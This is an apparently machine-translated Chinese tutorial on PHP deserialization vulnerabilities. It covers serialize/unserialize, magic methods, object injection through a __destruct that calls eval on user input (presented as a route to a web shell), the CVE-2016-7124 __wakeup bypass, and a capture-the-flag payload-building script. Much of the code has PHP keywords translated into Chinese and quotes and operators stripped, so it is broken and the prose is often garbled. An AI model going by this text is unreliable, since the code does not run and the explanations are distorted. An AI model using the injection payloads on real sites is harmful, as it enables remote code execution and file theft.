本文主要介绍php反序列化的相关知识。讲解非常详细,代码帮助你更好的理解和学习。感兴趣的朋友可以了解一下。
1 前言
最近在复习之前学了点东西。感觉对PHP反序列化有了更深的理解,这里就总结一下。
2 serialize()函数
“php中的所有值都可以通过使用serialize()函数返回包含字节流的字符串来表示。序列化对象将保存对象的所有变量,但不保存对象的方法,只保存类名。
刚开始这个概念可能有点混乱,后来慢慢就明白了。
在程序执行结束时,内存数据会被立即销毁。变量存储的数据是内存数据,而文件和数据库是“持久数据”。因此,PHP序列化是将内存中的可变数据“保存”到文件中的持久数据的过程。
$s=序列化($ variable);//此函数将变量数据序列化为字符串。
文件内容(。/目标文本文件,$ s);//将$s保存到指定文件
让我们通过一个具体的例子来看看序列化:
?服务器端编程语言(Professional Hypertext Preprocessor的缩写)
类别用户
{
public $ age=0;
public $ name=“”;
公共函数PrintData()
{
回显“用户”。$这个名字。是。$这个年龄。岁。br/;
}
}
//创建一个对象
$ User=new User();
//设置数据
$ user-age=20;
$ user-name= Daye ;
//输出数据
$ user-print data();
//输出序列化数据
echo serialize($ user);
?
这是结果:
可以看到,序列化一个对象后,该对象的所有变量都会被保存,序列化的结果有一个字符,就是下面几个字母的缩写。
a数组b布尔型
d -双i -整数
o -公共对象r -参考
自定义对象
o类N -空
r指针引用U - unicode字符串
知道了缩写类型字母,就可以得到PHP序列化格式。
O:4:“用户”:2:{s:3:“年龄”;I:20;s:4:‘姓名’;s:4:‘大爷’;}
类型:长度:“类名”:类中变量的数量:{类型:长度:“值”;类型:长度:“值”;}
通过上面的例子,可以理解通过serialize()函数返回包含字节流的字符串的概念。
3 unserialize()函数
Unserialize()对单个序列化变量进行操作,并将其转换回PHP的值。在反序列化对象之前,必须在反序列化之前定义对象的类。
简单理解,即使将文件中存储的序列化数据还原为程序代码的变量表示,也是还原变量序列化前的结果。
$ s=file _ get _ contents(。/目标文本文件’);//获取文本文件的内容(以前序列化的字符串)
$ variable=unserialize($ s);//将文本内容反序列化到指定变量中。
通过一个示例了解反序列化:
?服务器端编程语言(Professional Hypertext Preprocessor的缩写)
类别用户
{
public $ age=0;
public $ name=“”;
公共函数PrintData()
{
回显“用户”。$这个名字。是。$这个年龄。岁。br/;
}
}
//重建对象
$user=unserialize(O:4:“用户”:2:{s:3:“年龄”;I:20;s:4:‘姓名’;s:4:‘大爷’;});
$ user-print data();
?
这是结果:
注意:在解序列化一个对象前,这个对象的类必须在解序列化之前定义。否则会报错
4 PHP反序列化漏洞
在学习漏洞之前,我们先来学习一下PHP神奇的函数,对接下来的学习会有很大的帮助。
PHP将所有以_ _(两个下划线)开头的类方法都作为神奇的方法。
_ _构造在创建对象时调用,
_ _ _销毁在对象被销毁时调用,
__toString当对象作为字符串调用时。
__wakeup()在使用unserialize时激发。
使用serialize时会触发__sleep()。
当__destruct()对象被销毁时触发
__call()在对象的上下文中调用不可访问的方法时触发。
__callStatic()在静态上下文中调用不可访问的方法时触发。
__get()用于从不可访问的属性中读取数据。
__set()用于将数据写入不可访问的属性。
__isset()对不可访问的属性调用isset()或empty()触发器。
__unset()在unset()用于不可访问的属性时触发。
__toString()在类作为字符串使用时触发,返回值需要是字符串。
__invoke()在脚本试图将对象作为函数调用时激发。
这里只列举了一部分神奇的功能,具体可以看。
https://www.php.net/manual/zh/language.oop5.magic.php
我们举个例子来了解一下神奇函数被自动调用的过程。
?服务器端编程语言(Professional Hypertext Preprocessor的缩写)
类别测试{
public $ varr1= abc
public $ varr2= 123
公共函数echoP(){
echo $this-varr1。br ;
}
公共函数__construct(){
回显“_ _ construct br”;
}
公共函数__destruct(){
回显“_ _ destructbr”;
}
公共函数__toString(){
返回“_ _ tostring br”;
}
公共函数__sleep(){
echo _ _ sleepbr
返回数组( varr1 , var R2 );
}
公共函数__wakeup(){
echo“_ _ wake upbr”;
}
}
$ obj=new test();//实例化对象,调用__construct()方法,输出__construct
$ obj-echoP();//调用echoP()方法并输出“abc”
echo $ obj//obj对象作为字符串输出,调用__toString()方法,输出__toString。
$ s=serialize($ obj);//obj对象序列化,调用__sleep()方法,输出__sleep。
echo不序列化($ s);//$s将首先被反序列化,并将调用__wake()方法。当反序列化的对象被视为字符串时,将调用_toString()方法。
//脚本最后会调用_ _ destroy()方法输出_ _ destroy。
?
这是结果:
通过这个例子,我们可以清楚地看到,神奇的函数在满足相应的条件时就会被调用。
5 对象注入
当用户的请求在被传递给unserialize函数()之前没有被正确过滤时,就会出现漏洞。由于PHP允许对象序列化,攻击者可以利用该漏洞向非序列化函数提交特定的序列化字符串,最终导致应用程序范围内任何PHP对象的注入。
对象漏洞有两个先决条件:
首先,非序列化的参数是可控的。
第二,有一个类在代码中定义了magic方法,有一些有安全问题的函数在这个方法中使用类成员变量作为参数。
这里有一个例子:
?服务器端编程语言(Professional Hypertext Preprocessor的缩写)
A级
var $ test= demo
函数__destruct(){
echo $ this-test;
}
}
$ a=$ _ GET[ test ];
$a_unser=取消序列化($ a);
?
例如,如果用户生成的内容将该列直接传递给unserialize()函数,则可以构造这样一个语句。
?test=O:1: A :1:{ s:4: test ;s:5:‘柠檬’;}
脚本最后会调用_ destroy函数,测试变量输出lemon会被覆盖。
如果发现此漏洞,就可以利用它来控制输入变量,并将它们拼接成序列化对象。
再看另一个例子:
?服务器端编程语言(Professional Hypertext Preprocessor的缩写)
A级
var $ test= demo
函数__destruct(){
@ eval($ this-test);在destroy()函数中调用//_ eval来执行序列化对象中的语句。
}
}
$ test=$ _ POST[ test ];
$ len=strlen($ test)1;
$pp=O:1:A:1:{s:4:测试;s:。$len。:.$test。};//构造一个序列化对象
$ test _ unser=unserialize($ PP);//反序列化同时触发_ destroy函数
?
其实仔细看会发现,其实我们手动构造序列化对象,让unserialize()函数触发_ _ destroy()函数,然后执行_ _ destroy()函数中的恶意语句。
所以我们可以利用这个漏洞来获取web外壳。
6绕过神奇函数的反序列化
wakeup()魔法函数绕过
PHP55
PHP77.0.10
PHP反序列化漏洞CVE-2016-7124
#a#重要提示:当指示反序列化字符串中属性的数量的值大于实际属性的数量时,将绕过__wakeup函数的执行。
百度——哈希
其实仔细分析代码,只要能绕过两点,就能得到f15g _ f15g_1s_here.php的内容
(1)绕过正则表达式检查变量。
(2)绕过_wakeup()魔函数,因为如果我们反序列化的不是Gu3ss_m3_h2h2.php,这个魔函数会在反序列化的时候触发并强制转换成Gu3ss_m3_h2h2.php。
那么问题来了,如果绕过正则表达式
(1)/[oc]:d :/i例如:o:4:这个会匹配,很容易绕过。只要加一个,这个正则表达式就匹配不到0: 4:
(2)绕过_wakeup()魔法函数。上面提到过,当指示反串行化字符串中属性数量的值大于真实属性数量时,将绕过_wakeup函数的执行。
编写php序列化脚本
?服务器端编程语言(Professional Hypertext Preprocessor的缩写)
课程演示{
private $ file= Gu3ss _ m3 _ H2 H2 . PHP ;
公共函数__construct($file) {
$ this-file=$ file;
}
函数__destruct() {
echo @highlight_file($this-file,true);
}
函数__wakeup() {
如果($这个——文件!=Gu3ss_m3_h2h2.php) {
//秘密就在f15g_1s_here.php里
$ this-file= Gu3ss _ m3 _ H2 H2 . PHP ;
}
}
}
#先创建一个对象,自动调用__construct magic函数。
$ obj=new Demo( f15g _ 1s _ here . PHP );
#要序列化
$ a=serialize($ obj);
#使用str_replace()函数进行替换,以绕过正则表达式检查。
$a=str_replace(O:4:, O:4:,$ a);
#使用str_replace()函数替换以绕过__wakeup()魔法函数。
$a=str_replace(:1:,:2:,$ a);
#然后执行base64编码。
echo base64 _ encode($ a);
?
以上是php反序列化的详细内容。关于php反序列化的更多信息,请关注我们的其他相关文章!